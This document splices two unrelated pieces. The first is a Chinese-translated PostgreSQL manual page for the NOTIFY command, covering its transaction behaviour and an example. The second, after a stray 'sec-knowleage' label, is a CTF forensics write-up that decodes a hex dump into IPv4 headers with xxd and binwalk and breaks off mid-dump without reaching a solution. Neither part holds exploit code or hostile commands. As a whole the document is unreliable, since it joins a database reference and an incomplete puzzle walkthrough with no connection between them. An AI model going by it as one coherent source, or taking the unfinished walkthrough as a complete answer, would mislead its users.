.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "NOTIFY" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME NOTIFY \- 生成一个通知 .SH SYNOPSIS .sp .nf NOTIFY \fIname\fR .sp .fi .SH "DESCRIPTION 描述" .PP \fBNOTIFY\fR 命令向当前数据库中所有执行过 LISTEN name, 正在监听特定通知条件的前端应用发送一个通知事件。 .PP 传递给前端的通知事件包括通知条件名和发出通知的后端进程PID。 数据库设计者有责任定义用于某个数据库的条件名和每个通知条件的含义。 .PP 通常,通知条件名与数据库里的表的名字相同, 通知时间实际上意味着"我修改了此数据库,请看一眼有什么新东西"。 NOTIFY 和 LISTEN 命令并不强制这种联系。例如,数据库设计者可以使用几个不同的条件名来标志一个表的几种不同改变。 .PP \fBNOTIFY\fR 为访问同一个 PostgreSQL 数据库的一组进程提供了一种简单的信号形式或进程间通讯机制。 更高级的机制(除了一个简单的通知名以外)可以通过使用数据库中的表从通知者传递数据到被通知者。 .PP 当NOTIFY用于通知某一特定表修改的动作的发生, 一个实用的编程技巧是将 NOTIFY 放在一个由表更新触发的规则里。用这种方法, 通知将在表更新的时候自动触发,而且应用程序员不会碰巧忘记处理它。 .PP \fBNOTIFY\fR 和 SQL 事务用某种重要的方法进行交换。首先,如果 NOTIFY 在事务内部执行,通知事件直到事务提交才会送出。 这么做是有道理的,因为如果事务退出了, 那么在它里面的所有命令都没有效果 - 包括 NOTIFY。但如果有人希望通知事件立即发送,这就不太好了。 其次,当一个正在监听的会话在一次事务内收到一个通知信号, 直到本次事务完成(提交或退出)之前,该通知事件将不被送到与之相连的客户端。 同样,如果一个通知在事务内部发送出去了, 而该事务稍后又退出了,我们就希望通知可以在某种程度上被撤消- -但通知一旦发送出去,服务器便不能从客户端"收回"通知。 所以通知时间只是在事务之间传递。这一点就要求使用 NOTIFY 作为实时信号的应用应该确保他们的事务尽可能短。 .PP \fBNOTIFY\fR 在一方面的行为象 Unix 的信号: 如果同一条件名在短时间内发出了多条信号,接收者几次执行 NOTIFY 可能只回收到一条通知信息。 所以依赖于收到的通知条数的方法是很不可靠的。因而,使用 NOTIFY唤醒需要关注某事的应用, 同时还要使用数据库对象(如序列号)来跟踪事件发生了几次。 .PP 客户端经常会自己发送与正在监听的通知名一样的 NOTIFY。 这时它(客户端)也和其他正在监听的会话一样收到一个通知事件。 这样可能导致一些无用的工作(与应用逻辑有关)-- 例如, 对客户端刚写过的表又进行一次读操作以发现是否有更新。 我们可以通过检查服务器进程的PID(在通知事件中提供) 是否与自己的后端的PID一致(从 libpq 中取得)。当他们一样时, 说明这是其自身回弹的信息,可以忽略。(不管前面章节是如何讲的,这是一个安全的技巧。 PostgreSQL 保持自身的通知和其他到来的通知区分开。 所以你屏蔽了自己的通知后不会略过外部的通知。) .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 生成信号(通知)的通知条件(任何标识符)。 .SH "EXAMPLES 例子" .PP 在 \fBpsql\fR 里配置和执行一个监听/通知对: .sp .nf LISTEN virtual; NOTIFY virtual; Asynchronous notification "virtual" received from server process with PID 8448. .sp .fi .SH "COMPATIBILITY 兼容性" .PP 在 SQL 标准里没有 NOTIFY 语句。 .SH "SEE ALSO 参见" LISTEN [\fBlisten\fR(7)], UNLISTEN [\fBunlisten\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# The Best of Times Category: Forensics, 150 Points ## Description > An obscure entity, known only as "K9" has contacted the agency. > > The message states that they have sniffed out a flag from right under our noses, and it is now up to you to find which integral part of our communication has been compromised and revoke its validity! A binary file was attached. ## Solution Let's check the binary file: ```console root@kali:/media/sf_CTFs/matrix/The_Best_of_Times# cat dump.bin | head 45 00 00 4a 31 0e 40 00 40 11 a9 bc c0 a8 ef 84 c0 a8 ef 02 45 00 00 5a af 89 00 00 80 11 2b 31 c0 a8 ef 02 c0 a8 ef 84 45 00 00 47 b0 9d 00 00 80 06 c9 66 34 23 dc 5c c0 a8 ef 84 45 00 00 28 aa 31 40 00 40 06 cf f1 c0 a8 ef 84 34 23 dc 5c 45 00 00 4b aa 32 40 00 40 06 cf cd c0 a8 ef 84 34 23 dc 5c 45 00 00 28 b0 9e 00 00 80 06 c9 84 34 23 dc 5c c0 a8 ef 84 45 00 00 4f 61 61 40 00 40 06 69 53 c0 a8 ef 84 ac d9 12 ee 45 00 00 28 b0 9f 00 00 80 06 1a 3c ac d9 12 ee c0 a8 ef 84 ``` It's an ASCII file containing what looks like a HEX dump. Let's convert it into a real binary file: ```console root@kali:/media/sf_CTFs/matrix/The_Best_of_Times# cat dump.bin | xxd -r -p > hexdump.bin root@kali:/media/sf_CTFs/matrix/The_Best_of_Times# xxd -g 1 hexdump.bin | head 00000000: 45 00 00 4a 31 0e 40 00 40 11 a9 bc c0 a8 ef 84 E..J1.@.@....... 00000010: c0 a8 ef 02 45 00 00 5a af 89 00 00 80 11 2b 31 ....E..Z......+1 00000020: c0 a8 ef 02 c0 a8 ef 84 45 00 00 47 b0 9d 00 00 ........E..G.... 00000030: 80 06 c9 66 34 23 dc 5c c0 a8 ef 84 45 00 00 28 ...f4#.\....E..( 00000040: aa 31 40 00 40 06 cf f1 c0 a8 ef 84 34 23 dc 5c .1@.@.......4#.\ 00000050: 45 00 00 4b aa 32 40 00 40 06 cf cd c0 a8 ef 84 E..K.2@.@....... 00000060: 34 23 dc 5c 45 00 00 28 b0 9e 00 00 80 06 c9 84 4#.\E..(........ 00000070: 34 23 dc 5c c0 a8 ef 84 45 00 00 4f 61 61 40 00 4#.\....E..Oaa@. 00000080: 40 06 69 53 c0 a8 ef 84 ac d9 12 ee 45 00 00 28 @.iS........E..( 00000090: b0 9f 00 00 80 06 1a 3c ac d9 12 ee c0 a8 ef 84 .......<........ ``` Now let's check if it has any familiar format: ```console root@kali:/media/sf_CTFs/matrix/The_Best_of_Times# file hexdump.bin hexdump.bin: data root@kali:/media/sf_CTFs/matrix/The_Best_of_Times# binwalk hexdump.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- ``` Doesn't seem so. Ok then, let's try to find a record structure. If we align the lines in groups of 20 bytes, we can see a nice pattern: ```console root@kali:/media/sf_CTFs/matrix/The_Best_of_Times# xxd -g 1 -c 20 hexdump.bin 00000000: 45 00 00 4a 31 0e 40 00 40 11 a9 bc c0 a8 ef 84 c0 a8 ef 02 E..J1.@.@........... 00000014: 45 00 00 5a af 89 00 00 80 11 2b 31 c0 a8 ef 02 c0 a8 ef 84 E..Z......+1........ 00000028: 45 00 00 47 b0 9d 00 00 80 06 c9 66 34 23 dc 5c c0 a8 ef 84 E..G.......f4#.\.... 0000003c: 45 00 00 28 aa 31 40 00 40 06 cf f1 c0 a8 ef 84 34 23 dc 5c E..(.1@.@.......4#.\ 00000050: 45 00 00 4b aa 32 40 00 40 06 cf cd c0 a8 ef 84 34 23 dc 5c E..K.2@.@.......4#.\ 00000064: 45 00 00 28 b0 9e 00 00 80 06 c9 84 34 23 dc 5c c0 a8 ef 84 E..(........4#.\.... 00000078: 45 00 00 4f 61 61 40 00 40 06 69 53 c0 a8 ef 84 ac d9 12 ee E..Oaa@.@.iS........ 0000008c: 45 00 00 28 b0 9f 00 00 80 06 1a 3c ac d9 12 ee c0 a8 ef 84 E..(.......<........ 000000a0: 45 00 00 4f b0 a2 00 00 80 06 1a 12 ac d9 12 ee c0 a8 ef 84 E..O................ 000000b4: 45 00 00 28 61 62 40 00 40 06 69 79 c0 a8 ef 84 ac d9 12 ee E..(ab@.@.iy........ 000000c8: 45 00 00 56 91 cb 40 00 40 06 df fe c0 a8 ef 84 97 65 81 45 E..V..@.@........e.E 000000dc: 45 00 00 28 b0 a5 00 00 80 06 c1 52 97 65 81 45 c0 a8 ef 84 E..(.......R.e.E.... 000000f0: 45 00 00 56 b0 a6 00 00 80 06 c1 23 97 65 81 45 c0 a8 ef 84 E..V.......#.e.E.... 00000104: 45 00 00 28 91 cc 40 00 40 06 e0 2b c0 a8 ef 84 97 65 81 45 E..(..@.@..+.....e.E 00000118: 45 00 00 4f 61 63 40 00 40 06 69 51 c0 a8 ef 84 ac d9 12 ee E..Oac@.@.iQ........ 0000012c: 45 00 00 28 b0 aa 00 00 80 06 1a 31 ac d9 12 ee c0 a8 ef 84 E..(.......1........ 00000140: 45 00 00 4f b0 ac 00 00 80 06 1a 08 ac d9 12 ee c0 a8 ef 84 E..O................ 00000154: 45 00 00 28 61 64 40 00 40 06 69 77 c0 a8 ef 84 ac d9 12 ee E..(ad@.@.iw........ 00000168: 45 00 00 56 91 cd 40 00 40 06 df fc c0 a8 ef 84 97 65 81 45 E..V..@.@........e.E 0000017c: 45 00 00 28 b0 b0 00 00 80 06 c1 47 97 65 81 45 c0 a8 ef 84 E..(.......G.e.E.... 00000190: 45 00 00 56 b0 b1 00 00 80 06 c1 18 97 65 81 45 c0 a8 ef 84 E..V.........e.E.... 000001a4: 45 00 00 28 91 ce 40 00 40 06 e0 29 c0 a8 ef 84 97 65 81 45 E..(..@.@..).....e.E 000001b8: 45 00 00 1c 00 01 00 00 4d 11 1c a0 1b 04 14 12 0e 07 14 14 E.......M........... 000001cc: 45 00 00 1c 00 01 00 00 43 11 26 a0 1b 04 14 12 0e 07 14 14 E.......C.&......... 000001e0: 45 00 00 71 91 cf 40 00 40 06 df df c0 a8 ef 84 97 65 81 45 E..q..@.@........e.E 000001f4: 45 00 00 28 b1 98 00 00 80 06 c0 5f 97 65 81 45 c0 a8 ef 84 E..(......._.e.E.... 00000208: 45 00 00 e9 b1 99 00 00 80 06 bf 9d 97 65 81 45 c0 a8 ef 84 E............e.E.... 0000021c: 45 00 00 28 91 d0 40 00 40 06 e0 27 c0 a8 ef 84 97 65 81 45 E..(..@.@..'.....e.E 00000230: 45 00 05 f0 b1 9a 00 00 80 06 ba 95 97 65 81 45 c0 a8 ef 84 E............e.E.... 00000244: 45 00 00 28 91 d1 40 00 40 06 e0 26 c0 a8 ef 84 97 65 81 45 E..(..@.@..&.....e.E 00000258: 45 00 05 c0 b1 9c 00 00 80 06 ba c3 97 65 81 45 c0 a8 ef 84 E............e.E.... 0000026c: 45 00 00 28 91 d2 40 00 40 06 e0 25 c0 a8 ef 84 97 65 81 45 E..(..@.@..%.....e.E 00000280: 45 00 1c 3e b1 9d 00 00 80 06 a4 44 97 65 81 45 c0 a8 ef 84 E..>.......D.e.E.... 00000294: 45 00 00 28 91 d3 40 00 40 06 e0 24 c0 a8 ef 84 97 65 81 45 E..(..@.@..$.....e.E 000002a8: 45 00 05 c6 b1 a2 00 00 80 06 ba b7 97 65 81 45 c0 a8 ef 84 E............e.E.... 000002bc: 45 00 00 28 91 d4 40 00 40 06 e0 23 c0 a8 ef 84 97 65 81 45 E..(..@.@..#.....e.E 000002d0: 45 00 05 c6 b1 a3 00 00 80 06 ba b6 97 65 81 45 c0 a8 ef 84 E............e.E.... 000002e4: 45 00 00 28 91 d5 40 00 40 06 e0 22 c0 a8 ef 84 97 65 81 45 E..(..@.@..".....e.E 000002f8: 45 00 05 c6 b1 a4 00 00 80 06 ba b5 97 65 81 45 c0 a8 ef 84 E............e.E.... 0000030c: 45 00 00 28 91 d6 40 00 40 06 e0 21 c0 a8 ef 84 97 65 81 45 E..(..@.@..!.....e.E 00000320: 45 00 00 62 b1 a9 00 00 80 06 c0 14 97 65 81 45 c0 a8 ef 84 E..b.........e.E.... 00000334: 45 00 00 28 91 d7 40 00 40 06 e0 20 c0 a8 ef 84 97 65 81 45 E..(..@.@.. .....e.E 00000348: 45 00 05 c6 b1 aa 00 00 80 06 ba af 97 65 81 45 c0 a8 ef 84 E............e.E.... 0000035c: 45 00 00 28 91 d8 40 00 40 06 e0 1f c0 a8 ef 84 97 65 81 45 E..(..@.@........e.E 00000370: 45 00 12 52 b1 a5 00 00 80 06 ae 28 97 65 81 45 c0 a8 ef 84 E..R.......(.e.E.... 00000384: 45 00 00 28 91 d9 40 00 40 06 e0 1e c0 a8 ef 84 97 65 81 45 E..(..@.@........e.E 00000398: 45 00 05 c6 b1 ab 00 00 80 06 ba ae 97 65 81 45 c0 a8 ef 84 E............e.E.... 000003ac: 45 00 00 28 91 da 40 00 40 06 e0 1d c0 a8 ef 84 97 65 81 45 E..(..@.@........e.E 000003c0: 45 00 05 8c b1 ac 00 00 80 06 ba e7 97 65 81 45 c0 a8 ef 84 E............e.E.... 000003d4: 45 00 00 28 91 db 40 00 40 06 e0 1c c0 a8 ef 84 97 65 81 45 E..(..@.@........e.E 000003e8: 45 00 05 da b1 ad 00 00 80 06 ba 98 97 65 81 45 c0 a8 ef 84 E............e.E.... 000003fc: 45 00 00 28 91 dc 40 00 40 06 e0 1b c0 a8 ef 84 97 65 81 45 E..(..@.@........e.E 00000410: 45 00 03 16 b1 ae 00 00 80 06 bd 5b 97 65 81 45 c0 a8 ef 84 E..........[.e.E.... 00000424: 45 00 00 28 91 dd 40 00 40 06 e0 1a c0 a8 ef 84 97 65 81 45 E..(..@.@........e.E 00000438: 45 00 00 1c 00 01 00 00 4c 11 1d a0 1b 04 14 12 0e 07 14 14 E.......L........... 0000044c: 45 00 00 4f 61 65 40 00 40 06 69 4f c0 a8 ef 84 ac d9 12 ee E..Oae@.@.iO........ 00000460: 45 00 00 28 b1 c6 00 00 80 06 19 15 ac d9 12 ee c0 a8 ef 84 E..(................ 00000474: 45 00 00 40 61 66 40 00 40 06 69 5d c0 a8 ef 84 ac d9 12 ee E..@af@.@.i]........ 00000488: 45 00 00 28 61 67 40 00 40 06 69 74 c0 a8 ef 84 ac d9 12 ee E..(ag@.@.it........ 0000049c: 45 00 00 28 b1 c7 00 00 80 06 19 14 ac d9 12 ee c0 a8 ef 84 E..(................ 000004b0: 45 00 00 28 b1 c8 00 00 80 06 19 13 ac d9 12 ee c0 a8 ef 84 E..(................ 000004c4: 45 00 00 28 b1 c9 00 00 80 06 19 12 ac d9 12 ee c0 a8 ef 84 E..(................ 000004d8: 45 00 00 28 00 00 40 00 40 06 ca db c0 a8 ef 84 ac d9 12 ee E..(..@.@........... 000004ec: 45 00 00 48 50 5b 40 00 40 11 8a 71 c0 a8 ef 84 c0 a8 ef 02 E..HP[@.@..q........ 00000500: 45 00 00 58 b2 4d 00 00 80 11 28 6f c0 a8 ef 02 c0 a8 ef 84 E..X.M....(o........ 00000514: 45 00 00 1c 00 01 00 00 7b 11 ee 9f 1b 04 14 12 0e 07 14 14 E.......{........... 00000528: 45 00 00 3c 14 26 40 00 40 06 b6 6c c0 a8 ef 84 ac d9 13 23 E..<.&@.@..l.......# 0000053c: 45 00 00 3c cf ad 40 00 40 06 fa e4 c0 a8 ef 84 ac d9 13 23 E..<..@.@..........# 00000550: 45 00 00 2c b3 63 00 00 80 06 17 3f ac d9 13 23 c0 a8 ef 84 E..,.c.....?...#.... 00000564: 45 00 00 28 00 00 40 00 40 06 ca a6 c0 a8 ef 84 ac d9 13 23 E..(..@.@..........# 00000578: 45 00 00 2c b3 66 00 00 80 06 17 3c ac d9 13 23 c0 a8 ef 84 E..,.f.....<...#.... 0000058c: 45 00 00 28 00 00 40 00 40 06 ca a6 c0 a8 ef 84 ac d9 13 23 E..(..@.@..........# 000005a0: 45 00 00 1c 00 01 00 00 53 11 16 a0 1b 04 14 12 0e 07 14 14 E.......S........... 000005b4: 45 00 00 45 55 38 40 00 40 11 85 97 c0 a8 ef 84 c0 a8 ef 02 E..EU8@.@........... 000005c8: 45 00 00 45 55 39 40 00 40 11 85 96 c0 a8 ef 84 c0 a8 ef 02 E..EU9@.@........... 000005dc: 45 00 00 79 b3 a3 00 00 80 11 26 f8 c0 a8 ef 02 c0 a8 ef 84 E..y......&......... 000005f0: 45 00 00 55 b3 a4 00 00 80 11 27 1b c0 a8 ef 02 c0 a8 ef 84 E..U......'......... 00000604: 45 00 00 49 55 bb 40 00 40 11 85 10 c0 a8 ef 84 c0 a8 ef 02 E..IU.@.@........... 00000618: 45 00 00 49 55 bc 40 00 40 11 85 0f c0 a8 ef 84 c0 a8 ef 02 E..IU.@.@........... 0000062c: 45 00 00 59 b3 b7 00 00 80 11 27 04 c0 a8 ef 02 c0 a8 ef 84 E..Y......'......... 00000640: 45 00 00 7d b3 b8 00 00 80 11 26 df c0 a8 ef 02 c0 a8 ef 84 E..}......&......... 00000654: 45 00 00 49 56 2d 40 00 40 11 84 9e c0 a8 ef 84 c0 a8 ef 02 E..IV-@.@........... 00000668: 45 00 00 3c 2c 45 40 00 40 06 9c 66 c0 a8 ef 84 ac d9 15 0a E..<,E@.@..f........ 0000067c: 45 00 00 2c b3 d1 00 00 80 06 14 ea ac d9 15 0a c0 a8 ef 84 E..,................ 00000690: 45 00 00 28 2c 46 40 00 40 06 9c 79 c0 a8 ef 84 ac d9 15 0a E..(,F@.@..y........ 000006a4: 45 00 02 af 2c 47 40 00 40 06 99 f1 c0 a8 ef 84 ac d9 15 0a E...,G@.@........... 000006b8: 45 00 00 28 b3 d2 00 00 80 06 14 ed ac d9 15 0a c0 a8 ef 84 E..(................ 000006cc: 45 00 00 7d b3 d3 00 00 80 11 26 c4 c0 a8 ef 02 c0 a8 ef 84 E..}......&......... 000006e0: 45 00 00 fc b3 d4 00 00 80 06 14 17 ac d9 15 0a c0 a8 ef 84 E................... 000006f4: 45 00 00 28 2c 48 40 00 40 06 9c 77 c0 a8 ef 84 ac d9 15 0a E..(,H@.@..w........ 00000708: 45 00 00 68 2c 49 40 00 40 06 9c 36 c0 a8 ef 84 ac d9 15 0a E..h,I@.@..6........ 0000071c: 45 00 00 28 b3 d5 00 00 80 06 14 ea ac d9 15 0a c0 a8 ef 84 E..(................ 00000730: 45 00 00 d2 2c 4a 40 00 40 06 9b cb c0 a8 ef 84 ac d9 15 0a E...,J@.@........... 00000744: 45 00 01 cf 2c 4b 40 00 40 06 9a cd c0 a8 ef 84 ac d9 15 0a E...,K@.@........... 00000758: 45 00 00 28 b3 d6 00 00 80 06 14 e9 ac d9 15 0a c0 a8 ef 84 E..(................ 0000076c: 45 00 00 28 b3 d7 00 00 80 06 14 e8 ac d9 15 0a c0 a8 ef 84 E..(................ 00000780: 45 00 02 6c b3 d8 00 00 80 06 12 a3 ac d9 15 0a c0 a8 ef 84 E..l................ 00000794: 45 00 00 28 2c 4c 40 00 40 06 9c 73 c0 a8 ef 84 ac d9 15 0a E..(,L@.@..s........ 000007a8: 45 00 00 47 2c 4d 40 00 40 06 9c 53 c0 a8 ef 84 ac d9 15 0a E..G,M@.@..S........ 000007bc: 45 00 00 28 b3 d9 00 00 80 06 14 e6 ac d9 15 0a c0 a8 ef 84 E..(................ 000007d0: 45 00 00 47 b4 05 00 00 80 06 14 9b ac d9 15 0a c0 a8 ef 84 E..G................ 000007e4: 45 00 00 28 2c 4e 40 00 40 06 9c 71 c0 a8 ef 84 ac d9 15 0a E..(,N@.@..q........ 000007f8: 45 00 00 3c 32 27 40 00 40 06 ac 62 c0 a8 ef 84 d8 3a d3 ca E..<2'@.@..b.....:.. 0000080c: 45 00 03 c3 b4 07 00 00 80 06 11 1d ac d9 15 0a c0 a8 ef 84 E................... 00000820: 45 00 00 28 2c 4f 40 00 40 06 9c 70 c0 a8 ef 84 ac d9 15 0a E..(,O@.@..p........ 00000834: 45 00 00 4f b4 08 00 00 80 06 14 90 ac d9 15 0a c0 a8 ef 84 E..O................ 00000848: 45 00 00 28 2c 50 40 00 40 06 9c 6f c0 a8 ef 84 ac d9 15 0a E..(,P@.@..o........ 0000085c: 45 00 00 4f 2c 51 40 00 40 06 9c 47 c0 a8 ef 84 ac d9 15 0a E..O,Q@.@..G........ 00000870: 45 00 00 28 b4 09 00 00 80 06 14 b6 ac d9 15 0a c0 a8 ef 84 E..(................ 00000884: 45 00 00 2c b4 49 00 00 80 06 2a 50 d8 3a d3 ca c0 a8 ef 84 E..,.I....*P.:...... 00000898: 45 00 00 28 32 28 40 00 40 06 ac 75 c0 a8 ef 84 d8 3a d3 ca E..(2(@.@..u.....:.. 000008ac: 45 00 02 a8 32 29 40 00 40 06 a9 f4 c0 a8 ef 84 d8 3a d3 ca E...2)@.@........:.. 000008c0: 45 00 00 28 b4 4a 00 00 80 06 2a 53 d8 3a d3 ca c0 a8 ef 84 E..(.J....*S.:...... 000008d4: 45 00 00 fc b4 dc 00 00 80 06 28 ed d8 3a d3 ca c0 a8 ef 84 E.........(..:...... 000008e8: 45 00 00 28 32 2a 40 00 40 06 ac 73 c0 a8 ef 84 d8 3a d3 ca E..(2*@.@..s.....:.. 000008fc: 45 00 00 68 32 2b 40 00 40 06 ac 32 c0 a8 ef 84 d8 3a d3 ca E..h2+@.@..2.....:.. 00000910: 45 00 00 28 b4 de 00 00 80 06 29 bf d8 3a d3 ca c0 a8 ef 84 E..(......)..:...... 00000924: 45 00 00 d2 32 2c 40 00 40 06 ab c7 c0 a8 ef 84 d8 3a d3 ca E...2,@.@........:.. 00000938: 45 00 00 28 b4 e1 00 00 80 06 29 bc d8 3a d3 ca c0 a8 ef 84 E..(......)..:...... 0000094c: 45 00 01 36 32 2d 40 00 40 06 ab 62 c0 a8 ef 84 d8 3a d3 ca E..62-@.@..b.....:.. 00000960: 45 00 00 28 b4 e2 00 00 80 06 29 bb d8 3a d3 ca c0 a8 ef 84 E..(......)..:...... 00000974: 45 00 02 6c b5 4d 00 00 80 06 27 0c d8 3a d3 ca c0 a8 ef 84 E..l.M....'..:...... 00000988: 45 00 00 28 32 2e 40 00 40 06 ac 6f c0 a8 ef 84 d8 3a d3 ca E..(2.@.@..o.....:.. 0000099c: 45 00 00 47 32 2f 40 00 40 06 ac 4f c0 a8 ef 84 d8 3a d3 ca E..G2/@.@..O.....:.. 000009b0: 45 00 00 28 b5 4e 00 00 80 06 29 4f d8 3a d3 ca c0 a8 ef 84 E..(.N....)O.:...... 000009c4: 45 00 00 c1 32 30 40 00 40 06 ab d4 c0 a8 ef 84 d8 3a d3 ca E...20@.@........:.. 000009d8: 45 00 00 28 b5 4f 00 00 80 06 29 4e d8 3a d3 ca c0 a8 ef 84 E..(.O....)N.:...... 000009ec: 45 00 00 91 32 31 40 00 40 06 ac 03 c0 a8 ef 84 d8 3a d3 ca E...21@.@........:.. 00000a00: 45 00 00 28 b5 50 00 00 80 06 29 4d d8 3a d3 ca c0 a8 ef 84 E..(.P....)M.:...... 00000a14: 45 00 00 47 b5 51 00 00 80 06 29 2d d8 3a d3 ca c0 a8 ef 84 E..G.Q....)-.:...... 00000a28: 45 00 00 28 32 32 40 00 40 06 ac 6b c0 a8 ef 84 d8 3a d3 ca E..(22@.@..k.....:.. 00000a3c: 45 00 01 d8 b5 52 00 00 80 06 27 9b d8 3a d3 ca c0 a8 ef 84 E....R....'..:...... 00000a50: 45 00 00 28 32 33 40 00 40 06 ac 6a c0 a8 ef 84 d8 3a d3 ca E..(23@.@..j.....:.. 00000a64: 45 00 03 cd b5 53 00 00 80 06 25 a5 d8 3a d3 ca c0 a8 ef 84 E....S....%..:...... 00000a78: 45 00 00 28 32 34 40 00 40 06 ac 69 c0 a8 ef 84 d8 3a d3 ca E..(24@.@..i.....:.. 00000a8c: 45 00 00 4f 32 35 40 00 40 06 ac 41 c0 a8 ef 84 d8 3a d3 ca E..O25@.@..A.....:.. 00000aa0: 45 00 00 28 b5 54 00 00 80 06 29 49 d8 3a d3 ca c0 a8 ef 84 E..(.T....)I.:...... 00000ab4: 45 00 04 cd b5 e1 00 00 80 06 24 17 d8 3a d3 ca c0 a8 ef 84 E.........$..:...... 00000ac8: 45 00 03 91 b5 e2 00 00 80 06 25 52 d8 3a d3 ca c0 a8 ef 84 E.........%R.:...... 00000adc: 45 00 00 28 32 36 40 00 40 06 ac 67 c0 a8 ef 84 d8 3a d3 ca E..(26@.@..g.....:.. 00000af0: 45 00 00 4a 56 dc 40 00 40 11 83 ee c0 a8 ef 84 c0 a8 ef 02 E..JV.@.@........... 00000b04: 45 00 00 8a bb 3c 00 00 80 11 1f 4e c0 a8 ef 02 c0 a8 ef 84 E....<.....N........ 00000b18: 45 00 00 3c b2 e8 40 00 40 06 7f 09 c0 a8 ef 84 ac d9 ab c3 E..<..@.@........... 00000b2c: 45 00 00 3c 60 cf 40 00 40 06 d1 22 c0 a8 ef 84 ac d9 ab c3 E..<`.@.@.."........ 00000b40: 45 00 00 3c b1 75 40 00 40 06 80 7c c0 a8 ef 84 ac d9 ab c3 E..<.u@.@..|........ 00000b54: 45 00 00 3c da 56 40 00 40 06 57 9b c0 a8 ef 84 ac d9 ab c3 E..<.V@.@.W......... 00000b68: 45 00 00 3c 47 b8 40 00 40 06 ea 39 c0 a8 ef 84 ac d9 ab c3 E..<G.@.@..9........ 00000b7c: 45 00 00 2c bc c6 00 00 80 06 75 3b ac d9 ab c3 c0 a8 ef 84 E..,......u;........ 00000b90: 45 00 00 28 b2 e9 40 00 40 06 7f 1c c0 a8 ef 84 ac d9 ab c3 E..(..@.@........... 00000ba4: 45 00 00 2c bc c7 00 00 80 06 75 3a ac d9 ab c3 c0 a8 ef 84 E..,......u:........ 00000bb8: 45 00 00 28 60 d0 40 00 40 06 d1 35 c0 a8 ef 84 ac d9 ab c3 E..(`.@.@..5........ 00000bcc: 45 00 00 2c bc c8 00 00 80 06 75 39 ac d9 ab c3 c0 a8 ef 84 E..,......u9........ 00000be0: 45 00 00 28 b1 76 40 00 40 06 80 8f c0 a8 ef 84 ac d9 ab c3 E..(.v@.@........... 00000bf4: 45 00 02 2d b1 77 40 00 40 06 7e 89 c0 a8 ef 84 ac d9 ab c3 E..-.w@.@.~......... 00000c08: 45 00 02 2d 60 d1 40 00 40 06 cf 2f c0 a8 ef 84 ac d9 ab c3 E..-`.@.@../........ 00000c1c: 45 00 00 28 bc cb 00 00 80 06 75 3a ac d9 ab c3 c0 a8 ef 84 E..(......u:........ 00000c30: 45 00 00 2c bc cc 00 00 80 06 75 35 ac d9 ab c3 c0 a8 ef 84 E..,......u5........ 00000c44: 45 00 00 28 47 b9 40 00 40 06 ea 4c c0 a8 ef 84 ac d9 ab c3 E..(G.@.@..L........ 00000c58: 45 00 00 28 bc cd 00 00 80 06 75 38 ac d9 ab c3 c0 a8 ef 84 E..(......u8........ 00000c6c: 45 00 02 2d b2 ea 40 00 40 06 7d 16 c0 a8 ef 84 ac d9 ab c3 E..-..@.@.}......... 00000c80: 45 00 00 28 bc d3 00 00 80 06 75 32 ac d9 ab c3 c0 a8 ef 84 E..(......u2........ 00000c94: 45 00 02 2d 47 ba 40 00 40 06 e8 46 c0 a8 ef 84 ac d9 ab c3 E..-G.@.@..F........ 00000ca8: 45 00 00 28 bc d6 00 00 80 06 75 2f ac d9 ab c3 c0 a8 ef 84 E..(......u/........ 00000cbc: 45 00 05 8c be 5f 00 00 80 06 6e 42 ac d9 ab c3 c0 a8 ef 84 E...._....nB........ 00000cd0: 45 00 00 28 60 d2 40 00 40 06 d1 33 c0 a8 ef 84 ac d9 ab c3 E..(`.@.@..3........ 00000ce4: 45 00 05 3e be 60 00 00 80 06 6e 8f ac d9 ab c3 c0 a8 ef 84 E..>.`....n......... 00000cf8: 45 00 00 28 60 d3 40 00 40 06 d1 32 c0 a8 ef 84 ac d9 ab c3 E..(`.@.@..2........ 00000d0c: 45 00 0a a4 be 63 00 00 80 06 69 26 ac d9 ab c3 c0 a8 ef 84 E....c....i&........ 00000d20: 45 00 00 28 b1 78 40 00 40 06 80 8d c0 a8 ef 84 ac d9 ab c3 E..(.x@.@........... 00000d34: 45 00 0a a3 be 68 00 00 80 06 69 22 ac d9 ab c3 c0 a8 ef 84 E....h....i"........ 00000d48: 45 00 00 28 b2 eb 40 00 40 06 7f 1a c0 a8 ef 84 ac d9 ab c3 E..(..@.@........... 00000d5c: 45 00 0a a2 be 73 00 00 80 06 69 18 ac d9 ab c3 c0 a8 ef 84 E....s....i......... 00000d70: 45 00 00 28 47 bb 40 00 40 06 ea 4a c0 a8 ef 84 ac d9 ab c3 E..(G.@.@..J........ 00000d84: 45 00 00 68 b2 ec 40 00 40 06 7e d9 c0 a8 ef 84 ac d9 ab c3 E..h..@.@.~......... 00000d98: 45 00 00 28 be 9a 00 00 80 06 73 6b ac d9 ab c3 c0 a8 ef 84 E..(......sk........ 00000dac: 45 00 00 68 b1 79 40 00 40 06 80 4c c0 a8 ef 84 ac d9 ab c3 E..h.y@.@..L........ 00000dc0: 45 00 00 28 be 9e 00 00 80 06 73 67 ac d9 ab c3 c0 a8 ef 84 E..(......sg........ 00000dd4: 45 00 00 68 60 d4 40 00 40 06 d0 f1 c0 a8 ef 84 ac d9 ab c3 E..h`.@.@........... 00000de8: 45 00 00 28 be a2 00 00 80 06 73 63 ac d9 ab c3 c0 a8 ef 84 E..(......sc........ 00000dfc: 45 00 00 e3 b2 ed 40 00 40 06 7e 5d c0 a8 ef 84 ac d9 ab c3 E.....@.@.~]........ 00000e10: 45 00 00 28 be a3 00 00 80 06 73 62 ac d9 ab c3 c0 a8 ef 84 E..(......sb........ 00000e24: 45 00 00 e3 60 d5 40 00 40 06 d0 75 c0 a8 ef 84 ac d9 ab c3 E...`.@.@..u........ 00000e38: 45 00 00 28 be a8 00 00 80 06 73 5d ac d9 ab c3 c0 a8 ef 84 E..(......s]........ 00000e4c: 45 00 00 e3 b1 7a 40 00 40 06 7f d0 c0 a8 ef 84 ac d9 ab c3 E....z@.@........... 00000e60: 45 00 00 28 be a9 00 00 80 06 73 5c ac d9 ab c3 c0 a8 ef 84 E..(......s\........ 00000e74: 45 00 00 68 47 bc 40 00 40 06 ea 09 c0 a8 ef 84 ac d9 ab c3 E..hG.@.@........... 00000e88: 45 00 00 28 be b6 00 00 80 06 73 4f ac d9 ab c3 c0 a8 ef 84 E..(......sO........ 00000e9c: 45 00 00 